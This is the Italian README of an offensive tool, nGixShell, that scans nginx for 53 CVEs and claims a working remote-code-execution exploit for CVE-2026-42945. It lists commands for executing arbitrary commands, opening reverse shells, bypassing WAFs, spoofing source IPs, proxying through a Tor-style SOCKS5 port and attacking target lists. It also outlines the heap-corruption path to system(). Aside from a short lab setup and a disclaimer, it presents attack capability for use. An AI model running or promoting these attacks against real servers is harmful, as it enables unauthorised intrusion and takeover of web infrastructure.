nGixshell

nGixShell è uno scanner per CVE di nginx e un framework di exploit RCE. Include una proof-of-concept funzionante per CVE-2026-42945 — un heap buffer overflow critico in ngx_http_rewrite_module — e uno scanner che copre 53 CVE di nginx con probe HTTP automatizzati, fingerprinting, rilevamento/bypass WAF, audit di sicurezza web e generazione di report.

Zero dipendenze esterne. Solo libreria standard Python 3.

Avvio rapido

# Avvia il laboratorio vulnerabile
docker compose -f env/docker-compose.yml up -d

# Modalità automatica — fingerprint + scansione CVE + audit web
python3 ngixshell.py 127.0.0.1:19321

# Esegui un comando via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# Avvia una reverse shell (IP rilevato automaticamente)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Rileva e bypassa il WAF, poi scansiona
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Scansione sottodomini
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Più target da un file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Nessun flag richiesto — puntare lo strumento a un target esegue automaticamente tutto.
TLS è rilevato automaticamente. nginx viene fingerprintizzato anche con server_tokens off.

Utilizzo

python3 ngixshell.py [TARGET] [OPZIONI]

Formati TARGET:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Modalità

Rilevamento e bypass WAF

Tecniche di bypass (tutte attive quando è impostato --waf-bypass):

WAF rilevati: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Audit web

Viene eseguito automaticamente in modalità scansione. Tutti i moduli possono essere saltati singolarmente.

• Audit header — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, header che rivelano la versione
• Scoperta path — 50+ path; probe sentinella elimina i falsi positivi da regole catch-all 403/301
• Enumerazione host virtuali — richiede la differenza sia di status che di body per evitare falsi positivi dal blocco predefinito
• Audit TLS — testa il supporto TLS 1.0–1.3, la scadenza dei certificati e il rilevamento dei certificati self-signed
• stub_status — analizza le metriche delle connessioni attive da /nginx_status se esposto

Connessione

HTTP

Rate / Timing

Output

Copertura CVE

53 voci dal 2009 al 2026. Ordinate per CVSS.

Il Bug (CVE-2026-42945)

Il motore degli script di rewrite di nginx usa un modello a due passate: calcola la dimensione del buffer, poi copia. Il flag is_args viene impostato sul motore principale quando una sostituzione rewrite contiene ?, ma la passata di calcolo della lunghezza viene eseguita su un sub-engine appena azzerato:

• Passata di lunghezza — vede is_args = 0 → restituisce la lunghezza grezza della cattura
• Passata di copia — vede is_args = 1 → chiama ngx_escape_uri(NGX_ESCAPE_ARGS), espandendo ogni byte non sicuro a 3 byte

La copia fa overflow del buffer heap sottodimensionato con dati URI controllati dall'attaccante. L'exploitation corrompe un puntatore di cleanup adiacente di ngx_pool_t tramite heap feng shui tra richieste, reindirizzandolo a un falso ngx_pool_cleanup_s che chiama system() alla distruzione del pool.

Versioni interessate

Advisory del vendor: https://my.f5.com/manage/s/article/K000160932

Setup del laboratorio

Testato su Ubuntu 24.04 LTS. Richiede Docker e Python 3.8+.

# Avvia il laboratorio vulnerabile (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# Scansione completa
python3 ngixshell.py 127.0.0.1:19321

# RCE con output JSON
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# Reverse shell — payload bash, auto-upgrade PTY
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Scansione con bypass WAF e IP spoofato
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# Attraverso proxy SOCKS5
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# Scansione sottodomini con rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# Più target, output JSON, report HTML
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Disclaimer

Solo per test di sicurezza autorizzati, competizioni CTF e ricerca.